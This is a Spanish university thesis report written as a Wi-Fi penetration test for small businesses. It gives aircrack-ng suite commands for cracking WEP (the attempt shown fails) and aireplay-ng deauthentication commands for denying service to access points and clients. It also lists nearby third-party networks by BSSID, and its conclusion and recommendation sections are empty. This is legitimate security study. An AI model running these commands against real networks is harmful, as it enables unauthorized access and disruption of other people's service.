



Informe de seguridad informática PYMES

Redes Wifi

Luis Ramírez de Diego

INFORME DE SEGURIDAD INFORMÁTICA EN LA PEQUEÑA Y MEDIANA EMPRESA.

Informe de seguridad informática realizado durante el Trabajo Final de Carrera del alumno Luis Ramírez de Diego en el año lectivo 2015/2016 y supervisado por el profesor y tutor del proyecto, Francisco Moya Fernandez

Primera actualización, Junio 2016

Contents

1	Resumen ejecutivo.	4
2	Resumen de Resultados	5
2.1	Fase de descubrimiento.	5
2.2	Configurar tarjeta inalambrica.	5
2.3	Captura de paquetes inalámbricos.	6
3	Defecto de cifrado WLAN.	7
3.1	Encriptacion WEP	7
3.1.1	Ataque a red Wifi con cifrado WEP	8
3.1.2	Denegacion de Servicios (DoS).	10
3.2	Conclusión	11
3.3	Recomendaciones	11

Chapter 1

Resumen ejecutivo.

Wireless Cloud Security fue contratado para llevar a cabo una prueba de penetración con el fin de determinar su exposición a un ataque dirigido, a una red inalámbrica y así analizar las posibles vulnerabilidades. El objetivo es estudiar las prestaciones, limitaciones y seguridades de las tecnologías de red WIFI de la empresa (PYMEs). Así realizar pruebas para demostrar la vulnerabilidad de acceso a los protocolos de seguridad y proporcionar un diseño y una configuración de red inalámbrica segura. Alguno de los objetivos que se pretende conseguir son:

- Identificar si un atacante podría penetrar las defensas de esta empresa.
- Determinar el impacto de un fallo de seguridad.
- Confidencialidad de los datos privados de la compañía.
- La infraestructura interna y la disponibilidad de los sistemas de información.

Los esfuerzos fueron colocados en la identificación y explotación de las debilidades de seguridad que podría permitir a un atacante obtener acceso no autorizado a datos de la organización. Los ataques se llevaran a cabo con el nivel de acceso mínimo, es decir sin información previa. De esta forma se asemejara a los ataques realizados por parte de una persona externa a la organización y con ello poder señalar las brechas existentes. La evaluación se llevó a cabo de acuerdo con las recomendaciones formuladas en el NIST SP 800 a 115¹ con todas las pruebas y las acciones que se realizan en condiciones controladas

¹<http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf>

Chapter 2

Resumen de Resultados

2.1 Fase de descubrimiento.

Generamos información acerca de las redes que están presentes en la empresa Ficticia para llevar a cabo un test de penetración. Esta fase es muy importante porque definimos los objetivos previos de las pruebas y generamos la información acerca de las posibles vulnerabilidades potenciales. Nuestro objetivo en particular es conseguir la siguiente información:

- Identificar redes ocultas.
- Identificar que tipo de clientes hay conectados a la red.
- Tipos de autenticación utilizadas por las redes. Intentando encontrar las redes abiertas o que utilizan autenticación WEP y otras redes vulnerables.

Para descubrir las redes realizamos un escaneo de la red inalámbrica activa y pasiva. La activa implica enviar paquetes a puntos de acceso visibles y la pasiva capturar y analizar el tráfico de la red inalámbrica permitiendo descubrir los puntos de accesos ocultos.

2.2 Configurar tarjeta inalámbrica.

Para configurar nuestra tarjeta en modo monitor confirmaremos que nuestra tarjeta inalámbrica se ha detectado y que el controlador se ha cargado correctamente.

```
=  
wlan0 IEEE 802.11bgn ESSID:off/any  
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm  
Retry short limit:7 RTS thr=2347 B Fragment thr:off  
Encryption key:off  
Power Management:on
```

2.3. CAPTURA DE PAQUETES INALÁMBRICOS RESUMEN DE RESULTADOS

Una vez se ha detectado la interfaz wifi, procedemos a activarlo en modo monitor utilizando la utilidad "airmon-ng" disponible en la distribución Kali Linux. Esta aplicación inicializará la interfaz wifi anteriormente detectada con el fin de poder capturar las redes y paquetes inalámbricos de la zona.

```
=  
wlan0mon IEEE 802.11bgn Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm  
Retry short limit:7 RTS thr=2347 B Fragment thr:off  
Power Management:on
```

Con estos pasos hemos creado con éxito un interfaz en modo monitor llamado wlan0mon. Esta interfaz nos ayudara a rastrear los paquetes inalámbricos de la zona.

2.3 Captura de paquetes inalámbricos.

Para poder escanear las redes y clientes wifi en el alcace de nuestra zona utilizaremos la utilidad "airodump-ng" también disponible en la distribución kali Linux. Con esta exploración hemos identificado las siguientes redes y clientes con los que procederemos a detectar posibles vulnerabilidades.

```
=  
BSSID CANAL ENC POWER VEL CLIENTE ESSID  
-----  
60:E3:27:39:89:D2 13 WPA2 22 48 No TP-LINK_2.4GHz_3989D2  
E0:41:36:40:47:6C 6 WPA2 23 54 No MOVISTAR_476C  
DC:53:7C:8F:AB:D3 13 WPA2 25 54 No Hostal Los Guerreros  
00:22:F7:23:83:30 6 WPA2 28 54 No C150APM  
DC:53:7C:7B:3A:88 9 WPA2 31 54 No ONO92F3  
90:67:1C:79:0E:E0 2 WPA2 53 54 Yes vodafone0EDA  
80:B6:86:D5:F9:4B 1 WEP 50 54 No laboratorio wifi
```

Chapter 3

Defecto de cifrado WLAN.

Con las técnicas de identificación me refiero al análisis de dispositivos activos, sus puertos y servicios asociados y analizarlos en busca de vulnerabilidades potenciales. Las empresas o organizaciones suelen utilizar técnicas, no técnicos para identificar los activos que deben ser analizados. En los últimos tiempos, los ataques son dirigidos poco a poco a WPA. A pesar de que no hay ningún ataque disponible al público en la actualidad para romper WPA en todas las condiciones hay ataques que son factibles bajo circunstancias especiales. Las WLAN transmiten datos a través del aire y por lo tanto hay una necesidad inherente a la protección de los datos para que sean confidenciales. Esto se logra mediante los siguientes cifrados.

- Wired Equivalent Privacy (WEP)
- WiFi Protected Access (WPA)
- WiFi Protection Access v2 (WPA2)

3.1 Encriptacion WEP

A continuación procedemos a analizar la red wifi con encriptación WEP siguiente:

- BSSID: 80:B6:86:D5:F9:4B
- ESSID: laboratorio wifi
- CANAL: 11
- INTERFAZ: AC:38:70:25:ED:62

3.1.1 Ataque a red Wifi con cifrado WEP

Para obtener la clave WEP de un punto de acceso, necesitamos muchos vectores de inicialización (IVs). El tráfico de red habitual no genera de forma rápida suficientes IVs. Para ello hemos utilizado la técnica de inyección para aumentar la velocidad del proceso de captura. La inyección implica que se envíen al punto de acceso (AP) paquetes de forma continua y rápida permitiendo capturar un gran número de IV's en un periodo corto de tiempo. Una vez que se han capturado un gran número de IVs, podemos utilizarlos para averiguar la clave WEP.

Para tratar de obtener la clave se ha realizado el ataque estándar utilizando los siguientes pasos:

Hemos colocado nuestra tarjeta en modo monitor y fijado al canal del AP.

airmon-ng start wlan0 11

A continuación se ha utilizado el comando airodump-ng en el canal del AP con filtro de bssid para capturar los IVs.

airodump-ng -c 11 -bssid 80:B6:86:D5:F9:4B -w output wlan0mon

Con el comando aireplay-ng se procede a desautenticar a un cliente asociado con el fin de que vuelva a autenticarse y genera un paquete ARP válido.

aireplay-ng -0 5 -a 80:B6:86:D5:F9:4B -c wlan0mon

Con el fin de generar mucho paquetes y conseguir gran cantidad de IVs se lanza una reinyección de paquetes utilizando el siguiente comando:

aireplay-ng -3 -b 80:B6:86:D5:F9:4B -h wlan0mon

Finalmente y si hemos conseguido una gran cantidad de IVs intentamos probar conseguir la clave WEP utilizando el comando aircrack-ng.

aircrack-ng -a 1 -s output-01.cap

En este análisis de red se ha conseguido **5000** IVs y **NO** hemos podido conseguir la clave.

El detalle de la salida de Aircrack-ng es el siguiente:

```
=
Opening CAPTURA-01.cap
Reading packets, please wait...
```


3.1. ENCRIPCIÓN WEP CHAPTER 3. DEFECTO DE CIFRADO WLAN.

[KRead 6049 packets.

#	BSSID	ESSID	Encryption
1	80:B6:86:D5:F9:4B	laboratorio wifi	WEP (614 IVs)

Choosing first network as target.

Opening CAPTURA-01.cap
Reading packets, please wait...
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 614 ivs.
[2J[2;66HAircrack-ng 1.2 rc4

```
[5;50H[00:00:00] Tested 631 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 8/ 10 FE(1536) 00(1280) 08(1280) 26(1280) 32(1280) 3B(1280) 49(1280) 6A(1280) 7B(1280) 84(1280) 91(1280)
1 0/ 1 1D(2560) AF(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536)
2 1/ 2 BB(2048) 2A(1536) 50(1536) 77(1536) D0(1536) DF(1536) FE(1536) 09(1280) 15(1280) 19(1280) 26(1280)
3 4/ 5 1E(1536) 1E(1280) 26(1280) 27(1280) 29(1280) 35(1280) 37(1280) 3F(1280) 41(1280) 49(1280) 51(1280)
4 0/ 7 5E(1792) 0F(1536) 26(1536) C2(1536) D4(1536) EB(1536) ED(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280)
```

[J
[2;66HAircrack-ng 1.2 rc4

```
[5;50H[00:00:00] Tested 739 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 8/ 9 FE(1536) 00(1280) 08(1280) 26(1280) 32(1280) 3B(1280) 49(1280) 6A(1280) 7B(1280) 84(1280) 91(1280)
1 0/ 1 1D(2560) AF(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536)
2 1/ 2 BB(2048) 2A(1536) 50(1536) 77(1536) D0(1536) DF(1536) FE(1536) 09(1280) 15(1280) 19(1280) 26(1280)
3 4/ 3 F4(1536) 1E(1280) 26(1280) 27(1280) 29(1280) 35(1280) 37(1280) 3F(1280) 41(1280) 49(1280) 51(1280)
4 0/ 4 63(1792) 0F(1536) 26(1536) C2(1536) D4(1536) EB(1536) ED(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280)
```

[J
[2;66HAircrack-ng 1.2 rc4

```
[5;50H[00:00:00] Tested 787 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 3/ 5 7D(1792) 0D(1536) 9D(1536) BF(1536) D8(1536) FE(1536) 00(1280) 08(1280) 26(1280) 32(1280) 3B(1280)
1 0/ 1 9E(2560) AF(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536)
2 0/ 2 8F(2048) D6(2048) 2A(1536) 50(1536) 77(1536) D0(1536) DF(1536) FE(1536) 09(1280) 15(1280) 19(1280)
3 4/ 3 F4(1536) 1E(1280) 26(1280) 27(1280) 29(1280) 35(1280) 37(1280) 3F(1280) 41(1280) 49(1280) 51(1280)
4 0/ 4 52(1792) 0F(1536) 26(1536) C2(1536) D4(1536) EB(1536) ED(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280)
```

[J
[2;66HAircrack-ng 1.2 rc4

```
[5;50H[00:00:01] Tested 1048577 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 3/ 4 7D(1792) 0D(1536) 9D(1536) BF(1536) D8(1536) FE(1536) 00(1280) 08(1280) 26(1280) 32(1280) 3B(1280)
1 0/ 1 9E(2560) AF(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536)
2 1/ 2 BB(2048) 2A(1536) 50(1536) 77(1536) D0(1536) DF(1536) FE(1536) 09(1280) 15(1280) 19(1280) 26(1280)
3 0/ 3 67(1792) 4C(1792) 6D(1792) 63(1536) F4(1536) 1E(1280) 26(1280) 27(1280) 29(1280) 35(1280) 37(1280)
4 0/ 1 06(1792) 0F(1536) 26(1536) C2(1536) D4(1536) EB(1536) ED(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280)
5 0/ 1 4B(2816) 94(2048) DC(1792) 10(1536) 28(1536) 41(1536) 6C(1536) 71(1536) 96(1536) AC(1536) C3(1536)
6 0/ 1 40(2048) 72(1792) 19(1536) 24(1536) 2A(1536) 41(1536) 5F(1536) 98(1536) DF(1536) 08(1280) 13(1280)
7 0/ 1 3D(2048) BF(2048) 6C(1792) 87(1792) 99(1792) E6(1792) 00(1536) 08(1536) 63(1536) 7D(1536) 97(1536)
8 0/ 1 F8(1792) F4(1792) 02(1536) 13(1536) 63(1536) 86(1536) 9B(1536) C5(1536) 17(1280) 25(1280) 42(1280)
9 0/ 1 AA(1792) 09(1536) B2(1536) CF(1536) 2C(1280) 35(1280) 38(1280) 3F(1280) 42(1280) 4F(1280) 63(1280)
10 0/ 1 9C(1792) F8(1792) 53(1536) 5A(1536) 7A(1536) 7F(1536) C5(1536) 01(1280) 05(1280) 0A(1280) 0C(1280)
11 0/ 1 96(2304) 26(2048) 87(2048) 23(1536) 3B(1536) 3E(1536) 61(1536) 93(1536) AE(1536) DC(1536) E3(1536)
12 0/ 1 89(1832) 2B(1756) B4(1720) EB(1648) 94(1392) 6A(1320) 0E(1208) 1F(1208) 24(1208) 41(1208) 47(1208)
```

[2;66HAircrack-ng 1.2 rc4

```
[5;50H[00:00:02] Tested 1769473 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 0/ 2 16(1792) 22(1792) 31(1792) 7D(1792) 0D(1536) 9D(1536) BF(1536) D8(1536) FE(1536) 00(1280) 08(1280)
1 0/ 1 05(2560) AF(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536)
2 0/ 1 8F(2048) D6(2048) 2A(1536) 50(1536) 77(1536) D0(1536) DF(1536) FE(1536) 09(1280) 15(1280) 19(1280)
3 0/ 1 93(1792) 4C(1792) 6D(1792) 63(1536) F4(1536) 1E(1280) 26(1280) 27(1280) 29(1280) 35(1280) 37(1280)
4 0/ 1 15(1792) 0F(1536) 26(1536) C2(1536) D4(1536) EB(1536) ED(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280)
5 0/ 1 4B(2816) 94(2048) DC(1792) 10(1536) 28(1536) 41(1536) 6C(1536) 71(1536) 96(1536) AC(1536) C3(1536)
6 0/ 1 40(2048) 72(1792) 19(1536) 24(1536) 2A(1536) 41(1536) 5F(1536) 98(1536) DF(1536) 08(1280) 13(1280)
7 0/ 1 3D(2048) BF(2048) 6C(1792) 87(1792) 99(1792) E6(1792) 00(1536) 08(1536) 63(1536) 7D(1536) 97(1536)
8 0/ 1 F8(1792) F4(1792) 02(1536) 13(1536) 63(1536) 86(1536) 9B(1536) C5(1536) 17(1280) 25(1280) 42(1280)
9 0/ 1 AA(1792) 09(1536) B2(1536) CF(1536) 2C(1280) 35(1280) 38(1280) 3F(1280) 42(1280) 4F(1280) 63(1280)
10 0/ 1 9C(1792) F8(1792) 53(1536) 5A(1536) 7A(1536) 7F(1536) C5(1536) 01(1280) 05(1280) 0A(1280) 0C(1280)
11 0/ 1 96(2304) 26(2048) 87(2048) 23(1536) 3B(1536) 3E(1536) 61(1536) 93(1536) AE(1536) DC(1536) E3(1536)
12 0/ 12 43(1832) 2B(1756) B4(1720) EB(1648) 94(1392) 6A(1320) 0E(1208) 1F(1208) 24(1208) 41(1208) 47(1208)
```

[2;66HAircrack-ng 1.2 rc4

```
[5;50H[00:00:08] Tested 7536641 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 0/ 2 16(1792) 22(1792) 31(1792) 7D(1792) 0D(1536) 9D(1536) BF(1536) D8(1536) FE(1536) 00(1280) 08(1280)
1 0/ 1 05(2560) AF(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536)
2 0/ 1 8F(2048) D6(2048) 2A(1536) 50(1536) 77(1536) D0(1536) DF(1536) FE(1536) 09(1280) 15(1280) 19(1280)
3 0/ 1 93(1792) 4C(1792) 6D(1792) 63(1536) F4(1536) 1E(1280) 26(1280) 27(1280) 29(1280) 35(1280) 37(1280)
4 0/ 1 15(1792) 0F(1536) 26(1536) C2(1536) D4(1536) EB(1536) ED(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280)
5 0/ 1 4B(2816) 94(2048) DC(1792) 10(1536) 28(1536) 41(1536) 6C(1536) 71(1536) 96(1536) AC(1536) C3(1536)
6 0/ 1 40(2048) 72(1792) 19(1536) 24(1536) 2A(1536) 41(1536) 5F(1536) 98(1536) DF(1536) 08(1280) 13(1280)
7 0/ 1 3D(2048) BF(2048) 6C(1792) 87(1792) 99(1792) E6(1792) 00(1536) 08(1536) 63(1536) 7D(1536) 97(1536)
8 0/ 1 F8(1792) F4(1792) 02(1536) 13(1536) 63(1536) 86(1536) 9B(1536) C5(1536) 17(1280) 25(1280) 42(1280)
9 0/ 9 BC(1792) 09(1536) B2(1536) CF(1536) 2C(1280) 35(1280) 38(1280) 3F(1280) 42(1280) 4F(1280) 63(1280)
10 0/ 1 9C(1792) F8(1792) 53(1536) 5A(1536) 7A(1536) 7F(1536) C5(1536) 01(1280) 05(1280) 0A(1280) 0C(1280)
11 0/ 1 96(2304) 26(2048) 87(2048) 23(1536) 3B(1536) 3E(1536) 61(1536) 93(1536) AE(1536) DC(1536) E3(1536)
```

3.1. ENCRIPCIÓN WEP CHAPTER 3. DEFECTO DE CIFRADO WLAN.

```
12 0/ 12 43(1832) 2B(1756) B4(1720) EB(1648) 94(1392) 6A(1320) 0E(1208) 1F(1208) 24(1208) 41(1208) 47(1208)
[2;66HAircrack-ng 1.2 rc4
[5;50H[00:00:08] Tested 7536641 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 0/ 2 16(1792) 22(1792) 31(1792) 7D(1792) 0D(1536) 9D(1536) BF(1536) D8(1536) FE(1536) 00(1280) 08(1280)
1 0/ 1 05(2560) AF(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536)
2 0/ 1 8F(2048) D6(2048) 2A(1536) 50(1536) 77(1536) D0(1536) DF(1536) FE(1536) 09(1280) 15(1280) 19(1280)
3 0/ 1 93(1792) 4C(1792) 6D(1792) 63(1536) F4(1536) 1E(1280) 26(1280) 27(1280) 29(1280) 35(1280) 37(1280)
4 0/ 1 15(1792) 0F(1536) 26(1536) C2(1536) D4(1536) EB(1536) ED(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280)
5 0/ 1 4B(2816) 94(2048) DC(1792) 10(1536) 28(1536) 41(1536) 6C(1536) 71(1536) 96(1536) AC(1536) C3(1536)
6 0/ 1 40(2048) 72(1792) 19(1536) 24(1536) 2A(1536) 41(1536) 5F(1536) 98(1536) DF(1536) 08(1280) 13(1280)
7 0/ 1 3D(2048) BF(2048) 6C(1792) 87(1792) 99(1792) E6(1792) 00(1536) 08(1536) 63(1536) 7D(1536) 97(1536)
8 0/ 1 F8(1792) F4(1792) 02(1536) 13(1536) 63(1536) 86(1536) 9B(1536) C5(1536) 17(1280) 25(1280) 42(1280)
9 0/ 9 BC(1792) 09(1536) B2(1536) CF(1536) 2C(1280) 35(1280) 38(1280) 3F(1280) 42(1280) 4F(1280) 63(1280)
10 0/ 1 9C(1792) F8(1792) 53(1536) 5A(1536) 7A(1536) 7F(1536) C5(1536) 01(1280) 05(1280) 0A(1280) OC(1280)
11 0/ 1 96(2304) 26(2048) 87(2048) 23(1536) 3B(1536) 3E(1536) 61(1536) 93(1536) AE(1536) DC(1536) E3(1536)
12 0/ 12 43(1832) 2B(1756) B4(1720) EB(1648) 94(1392) 6A(1320) 0E(1208) 1F(1208) 24(1208) 41(1208) 47(1208)
[2;66HAircrack-ng 1.2 rc4
[5;50H[00:00:09] Tested 134785 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 26/ 27 FF(1280) 03(1024) 0A(1024) 0C(1024) 10(1024) 14(1024) 1C(1024) 1D(1024) 21(1024) 24(1024) 28(1024)
1 1/ 2 B0(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536) 17(1280)
2 7/ 8 4F(1536) 09(1280) 15(1280) 19(1280) 26(1280) 68(1280) 8D(1280) 96(1280) 9D(1280) BE(1280) C6(1280)
3 23/ 24 EA(1280) 00(1024) 03(1024) 04(1024) 0C(1024) 0E(1024) 11(1024) 12(1024) 18(1024) 1F(1024) 24(1024)
4 6/ 14 05(1536) 03(1280) 1D(1280) 2C(1280) 4F(1280) 54(1280) 58(1280) 64(1280) 6B(1280) 79(1280) 81(1280)
[J
[2;66HAircrack-ng 1.2 rc4
[5;50H[00:00:09] Tested 161281 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 26/ 37 FF(1280) 03(1024) 0A(1024) 0C(1024) 10(1024) 14(1024) 1C(1024) 1D(1024) 21(1024) 24(1024) 28(1024)
1 1/ 2 8B(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536) 17(1280)
2 7/ 8 4F(1536) 09(1280) 15(1280) 19(1280) 26(1280) 68(1280) 8D(1280) 96(1280) 9D(1280) BE(1280) C6(1280)
3 23/ 3 E8(1280) 00(1024) 03(1024) 04(1024) 0C(1024) 0E(1024) 11(1024) 12(1024) 18(1024) 1F(1024) 24(1024)
4 22/ 23 C6(1280) 02(1024) 04(1024) 05(1024) 07(1024) 0C(1024) 19(1024) 1F(1024) 22(1024) 23(1024) 36(1024)
[J
[2;66HAircrack-ng 1.2 rc4
[5;50H[00:00:09] Tested 169921 keys (got 614 IVs) [K[7;4HKB depth byte(vote)
0 59/ 60 FD(1024) 11( 768) 12( 768) 18( 768) 2A( 768) 39( 768) 3C( 768) 58( 768) 5E( 768) 60( 768) 63( 768)
1 1/ 4 B2(2048) 43(1792) C8(1792) 0F(1536) 2D(1536) 31(1536) 9D(1536) 9F(1536) D6(1536) EA(1536) 17(1280)
2 7/ 8 BB(1536) 09(1280) 15(1280) 19(1280) 26(1280) 68(1280) 8D(1280) 96(1280) 9D(1280) BE(1280) C6(1280)
3 23/ 3 E8(1280) 00(1024) 03(1024) 04(1024) 0C(1024) 0E(1024) 11(1024) 12(1024) 18(1024) 1F(1024) 24(1024)
4 22/ 4 DB(1280) 02(1024) 04(1024) 05(1024) 07(1024) 0C(1024) 19(1024) 1F(1024) 22(1024) 23(1024) 36(1024)
[J
Failed. Next try with 5000 IVs.
Quitting aircrack-ng...
```

3.1.2 Denegación de Servicios (DoS).

Las redes WLAN son propensas a los ataques de denegación de servicio (DoS) usando varias técnicas, incluyendo pero no limitadas a:

- Ataque de de-autenticación
- Ataque de desasociación.
- Ataque CTS-RTS.
- Ataque de interferencia del espectro de la señal.

El objetivo de una Denegación de Servicio a una Red Wi-fi es dejar a los usuarios legítimos de una red Wi-fi sin poder acceder a Internet, esto se logra inundando con paquetes de deautenticación al punto de acceso y/o al cliente. Cuando se quiere realizar un ataque DoS a una Red Wi-fi, se puede atacar de 2 formas, una es atacando al punto de acceso y dejar sin acceso a ningún cliente o atacando solamente a un cliente específico.

Trabajando con la tarjeta en modo monitor y asignando el canal de la red en la cual vamos a analizar.

```
airmon-ng start wlan0 11
```

A continuación realizamos el envío de difusión de de-autenticación de paquetes (broadcast de-authentication packet) hacia el punto de acceso de la red inalámbrica, intentamos desconectar a todos los clientes.

```
aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B wlan0mon
```

```
aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B -c 00:13:EF:71:02:DD wlan0mon
```

Si hemos conseguido enviar con éxito frames de de-autenticación al punto de acceso y el cliente. Esto se ha traducido en conseguir que se desconecte y una pérdida completa de comunicación entre ellos. También hemos enviado paquetes de difusión de de-autenticación, que asegurará que ningún cliente en las cercanías se pueda conectar correctamente al punto de acceso. Es importante tener en cuenta que tan pronto como el cliente se desconecta, intentará volver a conectarse de nuevo al punto de acceso y por lo tanto el ataque de de-autenticación tiene que llevarse a cabo de manera sostenida para tener un efecto de ataque de denegación de servicio completo.

3.2 Conclusión

3.3 Recomendaciones

"Preguntarse cuándo los ordenadores podrán pensar es como preguntarse cuándo los submarinos podrán nadar" – Edsger W. Dijkstra